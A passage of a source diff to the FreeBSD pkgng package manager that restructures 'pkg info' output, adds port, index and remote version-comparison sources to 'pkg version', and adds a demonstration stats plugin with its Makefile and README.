		} else {
-
			humanize_number(size, sizeof(size), newflatsize, "B", HN_AUTOSCALE, 0);
-
			printf("%-15s: %s\n", "Flat size", size);
-
			humanize_number(size, sizeof(size), newpkgsize, "B", HN_AUTOSCALE, 0);
-
			printf("%-15s: %s\n", "Pkg size", size);
-
		}
+
	info_num = 0;
+
	for (opt = 0x1U; opt <= INFO_LASTFIELD; opt <<= 1) 
+
		if ((opt & options) != 0)
+
			info_num++;

-
		printf("%-15s: \n%s\n", "Description", desc);
+
	if (info_num == 0 && cout > 0) {
		printf("\n");
-
	} else if (opt & INFO_PRINT_DEP) {
-
		if (!(opt & INFO_QUIET))
-
			printf("%s-%s depends on:\n", name, version);
-

-
                while (pkg_deps(pkg, &dep) == EPKG_OK) {
-
                        printf("%s-%s\n", pkg_dep_get(dep, PKG_DEP_NAME), pkg_dep_get(dep, PKG_DEP_VERSION));
-
                }
-

-
                if (!(opt & INFO_QUIET))
-
                        printf("\n");
-
	} else if (opt & INFO_PRINT_MESSAGE) {
-
		if (message)
-
			printf("%s", message);
-
	} else if (opt & INFO_PRINT_RDEP) {
-
		if (!(opt & INFO_QUIET))
-
			printf("%s-%s is required by:\n", name, version);
-

-
                while (pkg_rdeps(pkg, &dep) == EPKG_OK) {
-
                        printf("%s-%s\n", pkg_dep_get(dep, PKG_DEP_NAME), pkg_dep_get(dep, PKG_DEP_VERSION));
-
                }
-

-
                if (!(opt & INFO_QUIET))
-
                        printf("\n");
-
	} else if (opt & INFO_LIST_FILES) {
-
		if (!(opt & INFO_QUIET))
-
			printf("%s-%s owns the following files:\n", name, version);
-

-
                while (pkg_files(pkg, &file) == EPKG_OK) {
-
                        printf("%s\n", pkg_file_get(file, PKG_FILE_PATH));
-
                }
-

-
                if (!(opt & INFO_QUIET))
-
                        printf("\n");
-
	} else if (opt & INFO_LIST_SHLIBS) {
-
		if (!(opt & INFO_QUIET))
-
			printf("%s-%s uses the following shared libraries:\n", name, version);
-

-
                while (pkg_shlibs(pkg, &shlib) == EPKG_OK) {
-
                        printf("%s\n", pkg_shlib_name(shlib));
-
                }
-

-
                if (!(opt & INFO_QUIET))
-
                        printf("\n");
-
        } else if (opt & INFO_SIZE) {
-
		if (pkg_type(pkg) == PKG_INSTALLED) {
-
			humanize_number(size, sizeof(size), flatsize, "B", HN_AUTOSCALE, 0);
-
			printf("%s-%s size is: %s\n", name, version, size);
-
		} else {
-
			humanize_number(size, sizeof(size), newflatsize, "B", HN_AUTOSCALE, 0);
-
			printf("%s-%s flat size is: %s\n", name, version, size);
-
			humanize_number(size, sizeof(size), newpkgsize, "B", HN_AUTOSCALE, 0);
-
			printf("%s-%s package size is: %s\n", name, version, size);
+
		return;
+
	}
+

+
	if (info_num == 1) {
+
		/* Only one item to print */
+
		print_tag = false;
+
		if (!quiet) {
+
			if (options & INFO_MULTILINE)
+
				printf(":\n");
+
			else {
+
				if (cout < 31)
+
					cout = 31 - cout;
+
				else
+
					cout = 1;
+
				printf("%*s", cout, " ");
+
			}
		}
-
        } else if (opt & INFO_ORIGIN) {
-
                if (opt & INFO_QUIET)
-
                        printf("%s\n", origin);
-
                else
-
                        printf("%s-%s: %s\n", name, version, origin);
-
        } else if (opt & INFO_PREFIX) {
-
                if (opt & INFO_QUIET)
-
                        printf("%s\n", prefix);
-
                else
-
                        printf("%s-%s: %s\n", name, version, prefix);
-
        } else {
-
                if (opt & INFO_QUIET)
-
                        printf("%s-%s\n", name, version);
-
                else {
-
			snprintf(buf, BUFSIZ, "%s-%s", name, version);
-
			if ((pkg_type(pkg) == PKG_REMOTE) && multirepos_enabled)
-
				printf("%-30s [repository: %s]: %s\n", buf, reponame, comment);
+
	} else {
+
		/* Several items to print */
+
		print_tag = true;
+
		if (!quiet)
+
			printf("\n");
+
	}
+

+
	for (opt = 0x1; opt <= INFO_LASTFIELD; opt <<= 1) {
+
		if ((opt & options) == 0)
+
			continue;
+

+
		switch (opt) {
+
		case INFO_NAME:
+
			if (print_tag)
+
				printf("%-15s: ", "Name");
+
			printf("%s\n", name);
+
			break;
+
		case INFO_VERSION:
+
			if (print_tag)
+
				printf("%-15s: ", "Version");
+
			printf("%s\n", version);
+
			break;
+
		case INFO_ORIGIN:
+
			if (print_tag)
+
				printf("%-15s: ", "Origin");
+
			printf("%s\n", origin);
+
			break;
+
		case INFO_PREFIX:
+
			if (print_tag)
+
				printf("%-15s: ", "Prefix");
+
			printf("%s\n", prefix);
+
			break;
+
		case INFO_REPOSITORY:
+
			if (pkg_type(pkg) == PKG_REMOTE &&
+
			    repourl != NULL && repourl[0] != '\0') {
+
				if (print_tag)
+
					printf("%-15s: ", "Repository");
+
				printf("%s [%s]\n", reponame, repourl);
+
			} else if (!print_tag)
+
				printf("\n");
+
			break;
+
		case INFO_CATEGORIES:
+
			if (pkg_list_count(pkg, PKG_CATEGORIES) > 0) {
+
				if (print_tag)
+
					printf("%-15s: ", "Categories");
+
				if (pkg_categories(pkg, &cat) == EPKG_OK)
+
					printf("%s", pkg_category_name(cat));
+
				while (pkg_categories(pkg, &cat) == EPKG_OK)
+
					printf(" %s", pkg_category_name(cat));
+
				printf("\n");
+
			} else if (!print_tag)
+
				printf("\n");
+
			break;
+
		case INFO_LICENSES:
+
			if (pkg_list_count(pkg, PKG_LICENSES) > 0) {
+
				if (print_tag)
+
					printf("%-15s: ", "Licenses");
+
				if (pkg_licenses(pkg, &lic) == EPKG_OK)
+
					printf("%s", pkg_license_name(lic));
+
				while (pkg_licenses(pkg, &lic) == EPKG_OK) {
+
					if (licenselogic != 1)
+
						printf(" %c", licenselogic);
+
					printf(" %s", pkg_license_name(lic));
+
				}
+
				printf("\n");				
+
			} else if (!print_tag)
+
				printf("\n");
+
			break;
+
		case INFO_MAINTAINER:
+
			if (print_tag)
+
				printf("%-15s: ", "Maintainer");
+
			printf("%s\n", maintainer);
+
			break;
+
		case INFO_WWW:	
+
			if (print_tag)
+
				printf("%-15s: ", "WWW");
+
			printf("%s\n", www);
+
			break;
+
		case INFO_COMMENT:
+
			if (print_tag)
+
				printf("%-15s: ", "Comment");
+
			printf("%s\n", comment);
+
			break;
+
		case INFO_OPTIONS:
+
			if (pkg_list_count(pkg, PKG_OPTIONS) > 0) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Options");
+
				while (pkg_options(pkg, &option) == EPKG_OK)
+
					printf("%s%-15s: %s\n",
+
					       tab,
+
					       pkg_option_opt(option),
+
					       pkg_option_value(option));
+
			}
+
			break;
+
		case INFO_SHLIBS:
+
			if (pkg_list_count(pkg, PKG_SHLIBS) > 0) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Shared Libs");
+
				while (pkg_shlibs(pkg, &shlib) == EPKG_OK)
+
					printf("%s%s\n", tab, pkg_shlib_name(shlib));
+
			}
+
			break;
+
		case INFO_FLATSIZE:
+
			if (pkg_type(pkg) == PKG_INSTALLED ||
+
			    pkg_type(pkg) == PKG_FILE)
+
				humanize_number(size, sizeof(size),
+
						flatsize,"B",
+
						HN_AUTOSCALE, 0);
			else
-
				printf("%-30s %s\n", buf, comment);
+
				humanize_number(size, sizeof(size),
+
						newflatsize,"B",
+
						HN_AUTOSCALE, 0);
+

+
			if (print_tag)
+
				printf("%-15s: ", "Flat size");
+
			printf("%s\n", size);
+
			break;
+
		case INFO_PKGSIZE: /* Remote pkgs only */
+
			if (pkg_type(pkg) == PKG_REMOTE) {
+
				humanize_number(size, sizeof(size),
+
						newpkgsize,"B",
+
						HN_AUTOSCALE, 0);
+
				if (print_tag)
+
					printf("%-15s: ", "Pkg size");
+
				printf("%s\n", size);
+
			} else if (!print_tag)
+
				printf("\n");
+
			break;
+
		case INFO_DESCR:
+
			if (print_tag)
+
				printf("%-15s:\n", "Description");
+
			printf("%s\n", desc);
+
			break;
+
		case INFO_MESSAGE:
+
			if (message) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Message");
+
				printf("%s\n", message);
+
			}
+
			break;
+
		case INFO_DEPS:
+
			if (pkg_list_count(pkg, PKG_DEPS) > 0) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Depends on");
+
				while (pkg_deps(pkg, &dep) == EPKG_OK)
+
					printf("%s%s-%s\n",
+
					       tab,
+
					       pkg_dep_name(dep),
+
					       pkg_dep_version(dep));
+
			}
+
			break;
+
		case INFO_RDEPS:
+
			if (pkg_list_count(pkg, PKG_RDEPS) > 0) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Required by");
+
				while (pkg_rdeps(pkg, &dep) == EPKG_OK)
+
					printf("%s%s-%s\n",
+
					       tab,
+
					       pkg_dep_name(dep),
+
					       pkg_dep_version(dep));
+
			}
+
			break;
+
		case INFO_FILES: /* Installed pkgs only */
+
			if (pkg_type(pkg) != PKG_REMOTE &&
+
			    pkg_list_count(pkg, PKG_FILES) > 0) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Files");
+
				while (pkg_files(pkg, &file) == EPKG_OK)
+
					printf("%s%s\n",
+
					       tab,
+
					       pkg_file_path(file));
+
			}
+
			break;
+
		case INFO_DIRS:	/* Installed pkgs only */
+
			if (pkg_type(pkg) != PKG_REMOTE &&
+
			    pkg_list_count(pkg, PKG_DIRS) > 0) {
+
				if (print_tag)
+
					printf("%-15s:\n", "Directories");
+
				while (pkg_dirs(pkg, &dir) == EPKG_OK)
+
					printf("%s%s\n",
+
					       tab,
+
					       pkg_dir_path(dir));
+
			}
+
			break;
+
		case INFO_USERS: /* Installed pkgs only */
+
			if (pkg_type(pkg) != PKG_REMOTE &&
+
			    pkg_list_count(pkg, PKG_USERS) > 0) {
+
				if (print_tag)
+
					printf("%-15s: ", "Users");
+
				if (pkg_users(pkg, &user) == EPKG_OK)
+
					printf("%s", pkg_user_name(user));
+
				while (pkg_users(pkg, &user) == EPKG_OK)
+
					printf(" %s", pkg_user_name(user));
+
				printf("\n");
+
			}
+
			break;
+
		case INFO_GROUPS: /* Installed pkgs only */
+
			if (pkg_type(pkg) != PKG_REMOTE &&
+
			    pkg_list_count(pkg, PKG_GROUPS) > 0) {
+
				if (print_tag)
+
					printf("%-15s: ", "Groups");
+
				if (pkg_groups(pkg, &group) == EPKG_OK)
+
					printf("%s", pkg_group_name(group));
+
				while (pkg_groups(pkg, &group) == EPKG_OK)
+
					printf(" %s", pkg_group_name(group));
+
				printf("\n");
+
			}
+
			break;
+
		case INFO_ARCH:
+
			if (print_tag)
+
				printf("%-15s: ", "Architecture");
+
			printf("%s\n", arch);
+
			break;
+
		case INFO_REPOURL:
+
			if (pkg_type(pkg) == PKG_REMOTE &&
+
			    repourl != NULL && repourl[0] != '\0') {
+
				if (print_tag)
+
					printf("%-15s: ", "Pkg URL");
+
				if (repourl[strlen(repourl) -1] == '/')
+
					printf("%s%s\n", repourl, repopath);
+
				else
+
					printf("%s/%s\n", repourl, repopath);
+
			} else if (!print_tag)
+
				printf("\n");
+
			break;
		}
-
        }
+
	}
}

void
@@ -398,3 +602,28 @@ print_jobs_summary(struct pkg_jobs *jobs, pkg_jobs_t type, const char *msg, ...)
		printf("\n%s to be downloaded\n", size);
	}
}
+

+
struct sbuf *
+
exec_buf(const char *cmd) {
+
	FILE *fp;
+
	char buf[BUFSIZ];
+
	struct sbuf *res;
+

+
	if ((fp = popen(cmd, "r")) == NULL)
+
		return (NULL);
+

+
	res = sbuf_new_auto();
+
	while (fgets(buf, BUFSIZ, fp) != NULL)
+
		sbuf_cat(res, buf);
+

+
	pclose(fp);
+

+
	if (sbuf_len(res) == 0) {
+
		sbuf_delete(res);
+
		return (NULL);
+
	}
+

+
	sbuf_finish(res);
+

+
	return (res);
+
}
modified pkg/version.c
@@ -3,6 +3,7 @@
 * Copyright (c) 2011-2012 Julien Laffaye <jlaffaye@FreeBSD.org>
 * Copyright (c) 2011 Philippe Pepiot <phil@philpep.org>
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Bryan Drewery <bryan@shatow.net>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -42,6 +43,8 @@
#include <sysexits.h>
#include <unistd.h>
#include <fnmatch.h>
+
#include <sys/types.h>
+
#include <sys/stat.h>

#include "pkgcli.h"

@@ -54,38 +57,13 @@ struct index_entry {
void
usage_version(void)
{
-
	fprintf(stderr, "usage: pkg version [-hIoqv] [-l limchar] [-L limchar] [[-X] -s string]\n");
-
	fprintf(stderr, "                   [-O origin] [index]\n");
+
	fprintf(stderr, "usage: pkg version [-IPR] [-hoqv] [-l limchar] [-L limchar] [[-X] -s string]\n");
+
	fprintf(stderr, "                   [-r reponame] [-O origin] [index]\n");
	fprintf(stderr, "       pkg version -t <version1> <version2>\n");
	fprintf(stderr, "       pkg version -T <pkgname> <pattern>\n\n");
	fprintf(stderr, "For more information see 'pkg help version'.\n");
}

-
static struct sbuf *
-
exec_buf(const char *cmd) {
-
	FILE *fp;
-
	char buf[BUFSIZ];
-
	struct sbuf *res;
-

-
	if ((fp = popen(cmd, "r")) == NULL)
-
		return (NULL);
-

-
	res = sbuf_new_auto();
-
	while (fgets(buf, BUFSIZ, fp) != NULL)
-
		sbuf_cat(res, buf);
-

-
	pclose(fp);
-

-
	if (sbuf_len(res) == 0) {
-
		sbuf_delete(res);
-
		return (NULL);
-
	}
-

-
	sbuf_finish(res);
-

-
	return (res);
-
}
-

static void
print_version(struct pkg *pkg, const char *source, const char *ver, char limchar, unsigned int opt)
{
@@ -102,18 +80,18 @@ print_version(struct pkg *pkg, const char *source, const char *ver, char limchar
			key = '?';
	} else {
		switch (pkg_version_cmp(version, ver)) {
-
			case -1:
-
				key = '<';
-
				break;
-
			case 0:
-
				key = '=';
-
				break;
-
			case 1:
-
				key = '>';
-
				break;
-
			default:
-
				key = '!';
-
				break;
+
		case -1:
+
			key = '<';
+
			break;
+
		case 0:
+
			key = '=';
+
			break;
+
		case 1:
+
			key = '>';
+
			break;
+
		default:
+
			key = '!';
+
			break;
		}
	}

@@ -128,11 +106,14 @@ print_version(struct pkg *pkg, const char *source, const char *ver, char limchar
		return;

	asprintf(&namever, "%s-%s", name, version);	
-
	printf("%-34s %c", namever, key);
+
	if (opt & VERSION_ORIGIN)
+
		printf("%-34s %c", origin, key);
+
	else
+
		printf("%-34s %c", namever, key);
	free(namever);

	if (opt & VERSION_VERBOSE) {
-
		switch(key) {
+
		switch (key) {
		case '<':
			printf("   needs updating (%s has %s)", source, ver);
			break;
@@ -144,8 +125,10 @@ print_version(struct pkg *pkg, const char *source, const char *ver, char limchar
			break;
		case '?':
			printf("   orphaned: %s", origin);
+
			break;
		case '!':
			printf("   Comparison failed");
+
			break;
		}
	}

@@ -170,76 +153,89 @@ exec_version(int argc, char **argv)
	char *version;
	struct index_entry *entry;
	struct pkgdb *db = NULL;
-
	struct pkg *pkg = NULL;
-
	struct pkgdb_it *it = NULL;
+
	struct pkg *pkg = NULL, *pkg_remote = NULL;
+
	struct pkgdb_it *it = NULL, *it_remote = NULL;
	char limchar = '-';
	struct sbuf *cmd;
	struct sbuf *res;
	const char *portsdir;
	const char *origin;
+
	const char *matchorigin = NULL;
+
	const char *reponame = NULL;
+
	const char *version_remote = NULL;
+
	bool have_ports;
	match_t match = MATCH_ALL;
	char *pattern=NULL;
+
	struct stat sb;
+
	char portsdirmakefile[MAXPATHLEN];

	SLIST_INIT(&indexhead);

-
	while ((ch = getopt(argc, argv, "hIoqvl:L:X:x:g:e:OtT")) != -1) {
+
	while ((ch = getopt(argc, argv, "hIPRoqvl:L:X:x:g:e:O:r:tT")) != -1) {
		switch (ch) {
-
			case 'h':
-
				usage_version();
-
				return (0);
-
			case 'I':
-
				opt |= VERSION_INDEX;
-
				break;
-
			case 'o':
-
				opt |= VERSION_ORIGIN;
-
				break;
-
			case 'q':
-
				opt |= VERSION_QUIET;
-
				break;
-
			case 'v':
-
				opt |= VERSION_VERBOSE;
-
				break;
-
			case 'l':
-
				opt |= VERSION_STATUS;
-
				limchar = *optarg;
-
				break;
-
			case 'L':
-
				opt |= VERSION_NOSTATUS;
-
				limchar = *optarg;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				pattern = optarg;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				pattern = optarg;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				pattern = optarg;
-
				break;
-
			case 'e':
-
				match = MATCH_EXACT;
-
				pattern = optarg;
-
				break;
-
			case 'O':
-
				opt |= VERSION_WITHORIGIN;
-
				break;
-
			case 't':
-
				opt |= VERSION_TESTVERSION;
-
				break;
-
			case 'T':
-
				opt |= VERSION_TESTPATTERN;
-
				break;
+
		case 'h':
+
			usage_version();
+
			return (EX_OK);
+
		case 'I':
+
			opt |= VERSION_SOURCE_INDEX;
+
			break;
+
		case 'R':
+
			opt |= VERSION_SOURCE_REMOTE;
+
			break;
+
		case 'P':
+
			opt |= VERSION_SOURCE_PORTS;
+
			break;
+
		case 'o':
+
			opt |= VERSION_ORIGIN;
+
			break;
+
		case 'q':
+
			opt |= VERSION_QUIET;
+
			break;
+
		case 'v':
+
			opt |= VERSION_VERBOSE;
+
			break;
+
		case 'l':
+
			opt |= VERSION_STATUS;
+
			limchar = *optarg;
+
			break;
+
		case 'L':
+
			opt |= VERSION_NOSTATUS;
+
			limchar = *optarg;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			pattern = optarg;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			pattern = optarg;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			pattern = optarg;
+
			break;
+
		case 'e':
+
			match = MATCH_EXACT;
+
			pattern = optarg;
+
			break;
+
		case 'r':
+
			reponame = optarg;
+
			break;
+
		case 'O':
+
			opt |= VERSION_WITHORIGIN;
+
			matchorigin = optarg;
+
			break;
+
		case 't':
+
			opt |= VERSION_TESTVERSION;
+
			break;
+
		case 'T':
+
			opt |= VERSION_TESTPATTERN;
+
			break;
		}
	}
	argc -= optind;
	argv += optind;

-
	if (pkg_config_string(PKG_CONFIG_PORTSDIR, &portsdir) != EPKG_OK)
-
		err(1, "Can not get portsdir config entry");
-

	if (opt & VERSION_STATUS) {
			if (limchar != '<' &&
					limchar != '>' &&
@@ -257,67 +253,16 @@ exec_version(int argc, char **argv)
	
	} else if (opt == VERSION_TESTVERSION) {
		switch (pkg_version_cmp(argv[0], argv[1])) {
-
			case -1:
-
				printf("<\n");
-
				break;
-
			case 0:
-
				printf("=\n");
-
				break;
-
			case 1:
-
				printf(">\n");
-
				break;
-
		}
-
	} else if (opt & VERSION_INDEX) {
-
		uname(&u);
-
		rel_major_ver = (int) strtol(u.release, NULL, 10);
-
		snprintf(indexpath, sizeof(indexpath), "%s/INDEX-%d", portsdir, rel_major_ver);
-
		indexfile = fopen(indexpath, "r");
-
		if (!indexfile)
-
			err(EX_SOFTWARE, "Unable to open %s", indexpath);
-

-
		while ((linelen = getline(&line, &linecap, indexfile)) > 0) {
-
			/* line is pkgname|portdir|... */
-
			buf = strchr(line, '|');
-
			buf[0] = '\0';
-
			buf++;
-
			version = strrchr(line, '-');
-
			version[0] = '\0';
-
			version++;
-
			buf = strchr(buf, '|');
-
			buf[0] = '\0';
-
			buf--;
-
			/* go backward to get the last two dirs of portsdir */
-
			while (buf[0] != '/')
-
				buf--;
-
			buf--;
-
			while (buf[0] != '/')
-
				buf--;
-
			buf++;
-

-
			entry = malloc(sizeof(struct index_entry));
-
			entry->version = strdup(version);
-
			entry->origin = strdup(buf);
-
			SLIST_INSERT_HEAD(&indexhead, entry, next);
-
		}
-
		free(line);
-
		fclose(indexfile);
-

-
		if (pkgdb_open(&db, PKGDB_DEFAULT) != EPKG_OK)
-
			return (EX_IOERR);
-

-
		if ((it = pkgdb_query(db, pattern, match)) == NULL)
-
			goto cleanup;
-

-
		while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC) == EPKG_OK) {
-
			SLIST_FOREACH(entry, &indexhead, next) {
-
				pkg_get(pkg, PKG_ORIGIN, &origin);
-
				if (!strcmp(entry->origin, origin)) {
-
					print_version(pkg, "index", entry->version, limchar, opt);
-
					break;
-
				}
-
			}
+
		case -1:
+
			printf("<\n");
+
			break;
+
		case 0:
+
			printf("=\n");
+
			break;
+
		case 1:
+
			printf(">\n");
+
			break;
		}
-

	/* -T must be unique */
	} else if (((opt & VERSION_TESTPATTERN) && opt != VERSION_TESTPATTERN) ||
			(opt == VERSION_TESTPATTERN && argc != 2)) {
@@ -346,33 +291,118 @@ exec_version(int argc, char **argv)
		
		return (retval);
		
-
	} else  {
-
		if (pkgdb_open(&db, PKGDB_DEFAULT) != EPKG_OK)
-
			return (EX_IOERR);
+
	} else {
+
		if (pkg_config_string(PKG_CONFIG_PORTSDIR, &portsdir) != EPKG_OK)
+
			err(1, "Cannot get portsdir config entry!");

-
		if (( it = pkgdb_query(db, pattern, match)) == NULL)
+
		snprintf(portsdirmakefile, sizeof(portsdirmakefile),
+
		    "%s/Makefile", portsdir);
+

+
		have_ports = (stat(portsdirmakefile, &sb) == 0 && S_ISREG(sb.st_mode));
+

+
		/* If none of -IPR were specified, and portsdir exists use that,
+
		   otherwise fallback to remote. */
+
		if ((opt & (VERSION_SOURCE_PORTS|VERSION_SOURCE_REMOTE|VERSION_SOURCE_INDEX)) == 0) {
+
			if (have_ports)
+
				opt |= VERSION_SOURCE_PORTS;
+
			else
+
				opt |= VERSION_SOURCE_REMOTE;
+
		}
+

+
		if (!have_ports && (opt & (VERSION_SOURCE_INDEX|VERSION_SOURCE_PORTS)))
+
			err(1, "Unable to open ports directory %s", portsdir);
+

+
		/* Only force remote mode if looking up remote, otherwise
+
		   user is forced to have a repo.sqlite */
+
		if (opt & VERSION_SOURCE_REMOTE) {
+
			if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK)
+
				return (EX_IOERR);
+
		} else
+
			if (pkgdb_open(&db, PKGDB_DEFAULT) != EPKG_OK)
+
				return (EX_IOERR);
+

+
		if ((it = pkgdb_query(db, pattern, match)) == NULL)
			goto cleanup;

+
		if (opt & VERSION_SOURCE_INDEX) {
+
			uname(&u);
+
			rel_major_ver = (int) strtol(u.release, NULL, 10);
+
			snprintf(indexpath, sizeof(indexpath), "%s/INDEX-%d", portsdir, rel_major_ver);
+
			indexfile = fopen(indexpath, "r");
+
			if (!indexfile)
+
				err(EX_SOFTWARE, "Unable to open %s!", indexpath);
+

+
			while ((linelen = getline(&line, &linecap, indexfile)) > 0) {
+
				/* line is pkgname|portdir|... */
+
				buf = strchr(line, '|');
+
				buf[0] = '\0';
+
				buf++;
+
				version = strrchr(line, '-');
+
				version[0] = '\0';
+
				version++;
+
				buf = strchr(buf, '|');
+
				buf[0] = '\0';
+
				buf--;
+
				/* go backward to get the last two dirs of portsdir */
+
				while (buf[0] != '/')
+
					buf--;
+
				buf--;
+
				while (buf[0] != '/')
+
					buf--;
+
				buf++;
+

+
				entry = malloc(sizeof(struct index_entry));
+
				entry->version = strdup(version);
+
				entry->origin = strdup(buf);
+
				SLIST_INSERT_HEAD(&indexhead, entry, next);
+
			}
+
			free(line);
+
			fclose(indexfile);
+
		}
+

		while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC) == EPKG_OK) {
-
			cmd = sbuf_new_auto();
			pkg_get(pkg, PKG_ORIGIN, &origin);
-
			sbuf_printf(cmd, "make -C %s/%s -VPKGVERSION", portsdir, origin);
-
			sbuf_finish(cmd);
-
			if ((res = exec_buf(sbuf_data(cmd))) != NULL) {
-
				buf = sbuf_data(res);
-
				while (*buf != '\0') {
-
					if (*buf == '\n') {
-
						*buf = '\0';
+

+
			/* If -O was specific, check if this origin matches */
+
			if ((opt & VERSION_WITHORIGIN) && strcmp(origin, matchorigin) != 0)
+
				continue;
+

+
			if (opt & VERSION_SOURCE_INDEX) {
+
				SLIST_FOREACH(entry, &indexhead, next) {
+
					if (!strcmp(entry->origin, origin)) {
+
						print_version(pkg, "index", entry->version, limchar, opt);
						break;
					}
-
					buf++;
				}
-
				print_version(pkg, "port", sbuf_data(res), limchar, opt);
-
				sbuf_delete(res);
-
			} else {
-
				print_version(pkg, NULL, NULL, limchar, opt);
+
			} else if (opt & VERSION_SOURCE_PORTS) {
+
				cmd = sbuf_new_auto();
+
				sbuf_printf(cmd, "make -C %s/%s -VPKGVERSION 2>/dev/null", portsdir, origin);
+
				sbuf_finish(cmd);
+

+
				if ((res = exec_buf(sbuf_data(cmd))) != NULL) {
+
					buf = sbuf_data(res);
+
					while (*buf != '\0') {
+
						if (*buf == '\n') {
+
							*buf = '\0';
+
							break;
+
						}
+
						buf++;
+
					}
+
					print_version(pkg, "port", sbuf_data(res), limchar, opt);
+
					sbuf_delete(res);
+
				} else {
+
					print_version(pkg, "port", NULL, limchar, opt);
+
				}
+
				sbuf_delete(cmd);
+
			} else if (opt & VERSION_SOURCE_REMOTE) {
+
				if ((it_remote = pkgdb_rquery(db, origin, MATCH_EXACT, reponame)) == NULL)
+
					return (EX_IOERR);
+
				if (pkgdb_it_next(it_remote, &pkg_remote, PKG_LOAD_BASIC) == EPKG_OK) {
+
					pkg_get(pkg_remote, PKG_VERSION, &version_remote);
+
					print_version(pkg, "remote", version_remote, limchar, opt);
+
				}
+
				pkgdb_it_free(it_remote);
			}
-
			sbuf_delete(cmd);
		}
	}
	
@@ -386,8 +416,9 @@ cleanup:
	}

	pkg_free(pkg);
+
	pkg_free(pkg_remote);
	pkgdb_it_free(it);
	pkgdb_close(db);

-
	return (EPKG_OK);
+
	return (EX_OK);
}
modified pkg/which.c
@@ -50,19 +50,19 @@ exec_which(int argc, char **argv)
	struct pkgdb_it *it = NULL;
	struct pkg *pkg = NULL;
	char pathabs[MAXPATHLEN + 1];
-
	int ret = EPKG_OK, retcode = EPKG_OK;
+
	int ret = EPKG_OK, retcode = EX_OK;
	const char *name, *version, *origin;
	int ch;
	bool orig = false;

	while ((ch = getopt(argc, argv, "qo")) != -1) {
		switch (ch) {
-
			case 'q':
-
				quiet = true;
-
				break;
-
			case 'o':
-
				orig = true;
-
				break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'o':
+
			orig = true;
+
			break;
		}
	}

@@ -85,8 +85,7 @@ exec_which(int argc, char **argv)
		return (EX_IOERR);
	}

-
	if (( ret = pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC)) == EPKG_OK) {
-
		retcode = EPKG_OK;
+
	if ((ret = pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC)) == EPKG_OK) {
		pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version, PKG_ORIGIN, &origin);
		if (quiet && orig)
			printf("%s\n", origin);
@@ -97,11 +96,11 @@ exec_which(int argc, char **argv)
		else if (!quiet && !orig)
			printf("%s was installed by package %s-%s\n", pathabs, name, version);
	} else if (ret != EPKG_END) {
-
		retcode = EPKG_WARN;
+
		retcode = EX_SOFTWARE;
	} else {
		if (!quiet)
			printf("%s was not found in the database\n", pathabs);
-
		retcode = EPKG_WARN;
+
		retcode = EX_DATAERR;
	}
		
	pkg_free(pkg);
added plugins/pkg-plugin-mystats-command/Makefile
@@ -0,0 +1,18 @@
+
.include <bsd.own.mk>
+

+
LIB=		pkg-plugin-mystats
+
INCS=		mystats.h
+
#WARNS=		6
+
PREFIX?=	/usr/local
+
LIBDIR=		${PREFIX}/lib
+
INCLUDEDIR=	${PREFIX}/include
+
SHLIB_MAJOR=	0
+

+
SRCS=		mystats.c
+

+
CFLAGS+=	-std=c99 -fPIC -shared
+
CFLAGS+=	-I${INCLUDEDIR}
+

+
DEBUG_FLAGS+=  -g -O0
+

+
.include <bsd.lib.mk>
added plugins/pkg-plugin-mystats-command/README.md
@@ -0,0 +1,43 @@
+
## General Information
+

+
The *pkg-plugin-mystats* plugin is used for displaying package statistics.
+

+
It is meant to serve for demonstration purposes on how to write pkgng plugins which
+
provides commands to be executed by running `pkg <plugin-command>`
+

+
The command uses the code from `pkg stats` for displaying package stats.
+

+
## How to build the plugin?
+

+
In order to build the plugin enter into the plugin's directory and run make(1), e.g.:
+

+
	$ cd /path/to/pkg-plugins-mystats
+
	$ make
+
	
+
Once the plugin is built you can install it using the following command:
+

+
	$ make install 
+
	
+
The plugin will be installed as a shared library in ${PREFIX}/lib/libpkg-plugin-mystats.so
+

+
## Configuring the plugin
+

+
In order to configure the plugin simply copy the *mystats.conf* file to the pkgng plugins directory,
+
which by default is set to */usr/local/etc/pkg/plugins*, unless you've specified it elsewhere by 
+
using the *PKG\_PLUGINS\_DIR* option.
+

+
	$ cp /path/to/pkg-plugins-mystats/mystats.conf /usr/local/etc/pkg/plugins/
+
	
+
## Testing the plugin
+

+
To test the plugin, first check that it is recongnized and
+
loaded by pkgng by executing the `pkg plugins` command:
+

+
	$ pkg plugins
+
	NAME       DESC                                VERSION    LOADED  
+
	mystats    Plugin command for displaying stats 1.0        YES       
+

+
If the plugin shows up correctly then you are good to go!
+

+
Now go ahead and execute `pkg mystats` and see the plugin in action! :)
+

added plugins/pkg-plugin-mystats-command/mystats.c
@@ -0,0 +1,127 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
